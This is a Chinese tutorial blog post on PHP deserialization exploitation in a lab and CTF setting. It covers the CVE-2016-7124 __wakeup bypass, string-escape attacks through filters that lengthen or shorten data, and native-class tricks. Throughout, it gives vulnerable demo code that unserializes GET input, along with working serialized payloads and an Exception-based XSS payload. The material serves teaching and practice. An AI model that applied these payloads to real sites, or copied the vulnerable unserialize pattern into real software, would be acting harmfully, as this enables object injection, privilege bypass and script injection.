安全漏洞利用第61天:漏洞利用-PHP反序列化&原生类TIPS&字符串逃逸&CVE绕过漏洞&属性类型特征
Yatming的博客不同属性的演示
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php header("Content-type: text/html; charset=utf-8");
class test{ public $name="xiaodi"; private $age="29"; protected $sex="man"; } $a=new test(); $a=serialize($a); print_r($a); var_dump(unserialize($a)); ?>
|

1 2 3 4 5 6 7 8 9 10 11 12
| 1、对象变量属性: public(公共的) 在本类内部、外部类、子类都可以访问 protect(受保护的) 只有本类或子类或父类中可以访问 private(私人的) 只有本类内部可以使用 2、序列化数据显示: public 属性序列化的时候格式是正常成员名 private 属性序列化的时候格式是%00 类名 %00 成员名 protect 属性序列化的时候格式是%00*%00 成员名
|
PHP - 绕过漏洞 - CVE & 字符串逃逸
CVE-2016-7124(__wakeup 绕过)
- 漏洞编号:CVE-2016-7124
- 影响版本:PHP 5<5.6.25; PHP 7<7.0.10
- 漏洞危害:如存在__wakeup 方法,调用 unserilize () 方法前则先调用__wakeup 方法 (即在反序列化恢复对象之前调用该方法),但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup 执行
本地demo演示—cve.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
class Test{ public $sex; public $name; public $age;
public function __construct($name, $age, $sex){ echo "__construct被调用!<br>"; }
public function __wakeup(){ echo "__wakeup()被调用<br>"; }
public function __destruct(){ echo "__destruct()被调用<br>"; }
} unserialize($_GET['x']); ?>
|

使用生成的pop链:
1
| O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
|

直接传参:
1 2
| 还是会调用__wakeup魔术方法 O:4:"Test":4:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
|

修改个数以后,就绕过__wakeup
魔术方法。
CTF 案例



下载备份文件:


构造pop链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php include 'flag.php'; error_reporting(0);
class Name{ private $username = 'admin'; private $password = '100'; } $a=new Name(); echo urlencode(serialize($a));
?>
payload: O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
|

同样是生成之后,将个数改大就行
字符串逃逸
字符串变多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php class user { public $username; public $password; public $isVIP;
public function __construct($u, $p) { $this->username = $u; $this->password = $p; $this->isVIP = 0; }
function login(){ $isVip=$this->isVIP;
if($isVip==1){ echo 'flag is niubi'; }else{ echo 'fuck'; } }
}
function filter($obj) { return preg_replace("/admin/","hacker",$obj); }
$obj=$_GET['x']; if(isset($obj)){ $o=unserialize($obj); $o->login(); }else{ echo 'fuck'; }
|
POP源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php class user { public $username='admin'; public $password='123456'; public $isVIP='1'; public function __construct($u, $p) { $this->username = $u; $this->password = $p; $this->isVIP = 1; } }
function filter($obj) { return preg_replace("/admin/","hacker",$obj); }
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'; $p='123456';
$obj = new user($u,$p);
echo filter(serialize($obj));
?>
|
- 当序列化对象中的某一变量的值改变时,其变量长度也需要发生相应改变,不然在反序列化过程中就会出错,导致无法反序列化。
- 即如下情况,将 admin 替换为 hacker
1 2 3
| O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
|
第一个序列化数据正常反序列化时,s:5:”admin”, 识别五个字符后是正常的下一个变量,而第二个序列化数据在反序列化时 s:5:”hakcer” 只识别前五个字符,而后导致后续反序列化格式出现问题,从而反序列化失败。


分析一下得到源码:
但是这里如果你直接进行更改之后,然后在赋值成admin的话,就会有问题:

这里就会替换成hacker,所以就要用到字符串逃逸:



payload
1
| O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
|

字符串变少
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <?php class user { public $username; public $password; public $isVIP;
public function __construct($u, $p) { $this->username = $u; $this->password = $p; $this->isVIP = 0; }
function login(){ $isVip=$this->isVIP; if($isVip==1){ echo 'flag is niubi'; }else{ echo 'fuck'; }
} }
function filter($obj) { return preg_replace("/admin/","hack",$obj); }
$obj=$_GET['x']; if(isset($obj)){ $o=unserialize($obj); $o->login(); }else{ echo 'fuck'; }
|
pop源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php class user{ public $username; public $password; public $isVIP;
public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
function filter($s){ return str_replace("admin","hack",$s); }
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin'; $p=';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$a = new user($u,$p); $a_seri = serialize($a); $a_seri_filter = filter($a_seri);
echo $a_seri_filter;
|
- 这里的设置和前面差不多,只不过这个是替换后字符变少了,上面的那个是变多。
- 前面那个我们是考虑使反序列化时少识别原本的值,从而使原本值中的序列化数据被正确解析,这里因为是字符变少了,所以我们考虑使反序列化时多识别一些原本属于正常序列化数据的字符,从而使得不进行替换的变量处的值

1 2 3
| 可控字符串中需包含n个替换单位(如 10 个 "abc"),其序列化后的长度标识为len(原字符串)(即 10 个 "abc" 的总长度:10*3=30 → 序列化后为s:30:"abcabc...abc";)。 替换后,实际长度变为n * len(B) = 10*1=10,但序列化标识仍为 30,因此反序列化器会多读取30 - 10 = 20个字符(刚好等于 M=20)。 在可控字符串后拼接恶意字符串,最终反序列化时会将恶意字符串包含进来,实现结构逃逸。
|

所以就写22个admin,让多余的22个字符逃逸。

PHP - 原生类 Tips - 获取 & 利用 & 配合
原生类(Native class)是指在编程语言的核心库或标准库中提供的类,这些类是语言本身提供的,而不是由用户自定义的类。原生类通常包含语言内置的功能和特性,用于解决常见的编程任务和操作。
PHP原生类使用场景:在代码中没有看到魔术方法的情况下使用的

php开启这个选项可以看到更多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( // '__destruct', // '__toString', // '__wakeup', '__call', // '__callStatic', // '__get', // '__set', // '__isset', // '__unset', // '__invoke', // '__set_state' ))) { print $class . '::' . $method . "\n"; } } }
|

开启之后:

类似于java的JNDI注入
本地demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
highlight_file(__file__); $a = unserialize($_GET['k']); echo $a;
|

pop:
1 2 3 4
| <?php $a=new Exception("<script>alert('xiaodi')</script>"); echo urlencode(serialize($a)); ?>
|

